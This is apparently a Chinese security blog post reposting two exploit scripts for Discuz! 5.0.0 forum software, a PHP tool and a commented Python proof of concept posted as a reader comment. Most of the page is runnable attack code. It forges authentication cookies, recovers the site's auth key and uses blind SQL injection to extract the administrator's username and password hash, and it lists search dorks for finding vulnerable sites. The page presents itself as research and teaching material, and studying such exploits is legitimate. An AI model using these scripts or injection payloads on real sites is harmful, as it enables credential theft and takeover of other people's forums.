首页 | 注册 | 登录 | 归档 | 搜索 | 标签 | 在线工具

Discuz! 5 SQL injection Exploit

发布时间:2006-10-25 
入库时间
:2006-10-26 
所属类型
:Web Apps 


[警 告]


以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!


<?
php
print_r
('
---------------------------------------------------------------------------
discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dorks: "powered by discuz! 5.0.0
"powered by discuz!
---------------------------------------------------------------------------
'
);
if (
$argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '
.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to discuz
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '
.$argv[0].' localhost /discuz/ -P1.1.1.1:80
php '
.$argv[0].' localhost /discuz/ -p81
---------------------------------------------------------------------------
'
);
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);


function 
quick_dump($string)
{
$result='';$exa='';$cont=0;
for (
$i=0$i<=strlen($string)-1$i++)
{
if ((
ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{
$result.=" .";}
else
{
$result.=" ".$string[$i];}
if (
strlen(dechex(ord($string[$i])))==2)
{
$exa.=" ".dechex(ord($string[$i]));}
else
{
$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0$result.=""$exa.="";}
}
return 
$exa."".$result;
}
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';


function 
sendpacketii($packet)
{
global 
$proxy$host$port$html$proxy_regex;
if (
$proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!
$ock) {
echo 
'No response from '.$host.':'.$port; die;
}
}
else {
$c preg_match($proxy_regex,$proxy);
if (!
$c) {
echo 
'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...";
$ock=fsockopen($parts[0],$parts[1]);
if (!
$ock) {
echo 
'No response from proxy...';die;
}
}
fputs($ock,$packet);
if (
$proxy=='') {
$html='';
while (!
feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}


$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for (
$i=3$i<$argc$i++){
$temp=$argv[$i][0].$argv[$i][1];
if (
$temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if (
$temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo 
"please wait...\n";


//from global.func.php
function authcode($string$operation$key '') {
$key $key $key $GLOBALS['discuz_auth_key'];
$coded '';
$keylength 32;
$string $operation == 'DECODE' base64_decode($string) : $string;
for(
$i 0$i strlen($string); $i += 32) {
$coded .= substr($string$i32) ^ $key;
}
$coded $operation == 'ENCODE' str_replace('='''base64_encode($coded)) : $coded;
return 
$coded;
}


//stolen from install.php
function random($length) {
$hash '';
$chars 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for(
$i 0$i $length$i++) {
$hash .= $chars[mt_rand(0$max)];
}
return 
$hash;
}


$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)
$tt="";for ($i=0$i<=255$i++){$tt.=chr($i);}
while (
1)
{
$discuz_auth_key=random(32);
$packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0";
$packet.="CLIENT-IP: 999.999.999.999";//spoof
$packet.="User-Agent: $agent";
$packet.="Host: ".$host."";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";";
$packet.="Accept: text/plain";
$packet.="Connection: Close";
$packet.=$data;
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
$t=explode("AND m.password='",$html);
$t2=explode("' ",$t[1]);
$pwd_f=$t2[0];
$t=explode("AND m.secques='",$html);
$t2=explode("'\n",$t[1]);
$secques_f=$t2[0];
$t=explode("AND m.uid='",$html);
$t2=explode("'\x0d",$t[1]);
$uid_f=$t2[0];
$my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
if ((
strlen($my_string)==270) and (!eregi("=",$my_string))){
break;
}
}
$temp authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for (
$j=0$j<32$j++){
for (
$i=0$i<255$i++){
$aa="";
if (
$j<>0){
for (
$k=1$k<=$j$k++){
$aa.="a";
}
}
$GLOBALS['discuz_auth_key']=$aa.chr($i);
$t authcode($temp,"DECODE");
if (
$t[$j]==$my_string[$j]){
$key.=chr($i);
}
}
}


//echo "AUTH KEY ->".$key."";
$GLOBALS['discuz_auth_key']=$key;


echo 
"pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!
strstr($password,chr(0)))
{
for (
$i=0$i<=255$i++)
{
if (
in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
//and some help by extract() to overwrite vars
$sql="999999'/**/UNION/**/Select/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/Where/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0";
$packet.="User-Agent: $agent";
$packet.="CLIENT-IP: 1.2.3.4";
$packet.="Host: ".$host."";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";";
$packet.="Accept: text/plain";
$packet.="Connection: Close";
$packet.=$data;
sendpacketii($packet);
if (
eregi("action=groupexpiry",$html)){
$password.=chr($i);echo chr($i);sleep(1);break;
}
}
if (
$i==255) {
die(
"\nExploit failed...");
}
}
$j++;
}


echo 
"\nadmin user -> ";
$j=1;$admin="";
while (!
strstr($admin,chr(0)))
{
for (
$i=0$i<=255$i++)
{
$sql="999999'/**/UNION/**/Select/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/Where/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0";
$packet.="User-Agent: $agent";
$packet.="CLIENT-IP: 1.2.3.4";
$packet.="Host: ".$host."";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";";
$packet.="Accept: text/plain";
$packet.="Connection: Close";
$packet.=$data;
sendpacketii($packet);
if (
eregi("action=groupexpiry",$html)){
$admin.=chr($i);echo chr($i);sleep(1);break;
}
if (
$i==255) {die("\nExploit failed...");}
}
$j++;
}


function 
is_hash($hash)
{
if (
ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return 
false;}
}


if (
is_hash($password)) {
echo 
"exploit succeeded...";
}
else {
echo 
"exploit failed...";
}
?>
//Sebug.net

Tags: 漏洞, 安全, 脚本渗透, discuz, exp

Address: http://www.amxku.net/Discuz-SQL-injection-Exploit/

上一篇 »» 养金鱼数 VS 风水
下一篇 »» PHP 服务器变量:$_SERVER

相关文章

网友评论

Discuz! 5.0.0 RC1 SQL injection PoC

#wofeiwo原创,pt007给程序做了一下注释,以方便其它人的学习:
#!c:\python24\pyton
# Discuz! 5.0.0 RC1 SQL injection PoC
# Author: wofeiwo thx superheis help
# Date: Aug 12th 2006

import sys
import httplib
from urlparse import urlparse
from time import sleep

def injection(lenthofpass,realurl,path):
sys.stdout.write('[+]The uid='+sys.argv[2]+' password hash is: \n')
for num in range(1,lenthofpass+1): #相当于[1,...,32],num代表32位的MD5值
ran=range(97, 123) #ran=[97,...,122],ASCII码的a-z
#for a1 in range(65,91): #a1=[65,90],ASCII码的A-Z
# ran.append(a1)
for a in range(48, 58): #a=[48,...,57],ASCII码的0-9
ran.append(a) #将序列a加入到序列ran中

for i in ran: #遍历ran序列,包括全部小写字母和数字

query = '\' union select 122,122,122,122,122,122,122,122 from cdb_members where uid=' + sys.argv[2] + ' AND ascii(substring(CONCAT(password),' + str(num) + ',1))=' + str(i) + ' /*'
#下面是一个字典:
header = {'Accept':'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*','Referer':'http://' + realurl[1] + path + 'logging.php?action=login','Accept-Language':'zh-cn','Content-Type':'application/x-www-form-urlencoded','User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)','Connection':'Keep-Alive','Cache-Control':'no-cache','X-Forwarded-For':query,'Cookie':'cdb_sid=70KRjS; cdb_cookietime=2592000'}
data = "formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4"
#print header
#sys.exit(1)
http = httplib.HTTPConnection(realurl[1]) #连接到如:httplib.HTTPConnection('www.cwi.nl')
http.request("POST", path + "logging.php?action=login&",data , header) #发送POS数据包
#sleep(1)
response = http.getresponse() #得到服务的响应包
re1 = response.read() #读出所有响应数据并存入ret1中
#print "re1中返回的内容为:"
#print re1
if re1.find('SELECT') ==1: #re1中是否含有SELECT字符,是为1,否返回-1
print '[-] Unvalnerable host' #不存在漏洞
print '[-] Exit..'
sys.exit(1);

elif re1.find('ip3') == -1:#re1中是否含有ip3字符,是为1,否返回-1
sys.stdout.write(chr(i)) #输出正确的MD5密码值
#print chr(i)
http.close()
#sleep(1)
#break

#print re1
#print '-----------------------------------------------'
http.close()
#sleep(1)
sys.stdout.write('\n') #打印回车

def main ():
print 'Discuz! 5.0.0 RC1 SQL injection exploit'
print 'Codz by wofeiwo wofeiwo[0x40]gmail[0x2C]com\n'

if len(sys.argv) == 3:
url = urlparse(sys.argv[1])
if url[2:-1] != '/': #从元组中第三个到倒数第二个参数
u = url[2] + '/'
else:
u = url[2] #u=/dz/
else:
print "Usage: %s <url> <uid>" % sys.argv[0]
print "Example: %s http://127.0.0.1/dz/ 1" % sys.argv[0]
sys.exit(0)

lenth = 32 #长度为32
print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'

injection(lenth, url, u)

print '[+] Finished'

if __name__ == '__main__': main()
Post by amxku on 2006-10-28, 05:47 Quote #1

发表评论

评论内容: